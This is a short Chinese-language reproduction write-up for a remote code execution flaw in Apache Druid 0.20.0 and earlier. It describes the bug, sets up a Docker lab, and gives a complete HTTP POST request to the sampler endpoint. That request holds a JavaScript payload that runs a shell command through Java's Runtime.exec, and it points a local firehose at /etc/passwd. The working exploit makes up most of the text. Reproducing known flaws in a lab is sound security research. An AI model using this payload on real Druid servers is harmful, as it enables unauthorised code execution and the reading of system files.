Apache Druid 是一种开源的分布式数据存储,旨在摄取大量数据,以提供低延迟和高并发的即时数据可见性、临时分析和查询。
Apache Druid 能够执行嵌入在各种类型请求中的用户提供的 JavaScript 代码。此功能旨在用于高信任环境,默认情况下处于禁用状态。但是,在 Druid 0.20.0 及更早版本中,经过身份验证的用户可以发送特制的请求,强制 Druid 为该请求运行用户提供的 JavaScript 代码,而不管服务器配置如何。这可以用来以 Druid 服务器进程的权限在目标计算机上执行代码。
使用docker 搭建环境
docker-compose up -d
复现:
访问http://192.168.92.130:8888/unified-console.html页面
exp的利用:
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.92.130:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
{
"type":"index",
"spec":{
"ioConfig":{
"type":"index",
"firehose":{
"type":"local",
"baseDir":"/etc",
"filter":"passwd"
}
},
"dataSchema":{
"dataSource":"test",
"parser":{
"parseSpec":{
"format":"javascript",
"timestampSpec":{
},
"dimensionsSpec":{
},
"function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
"":{
"enabled":"true"
}
}
}
}
},
"samplerConfig":{
"numRows":10
}
}
您将看到 id
命令的输出: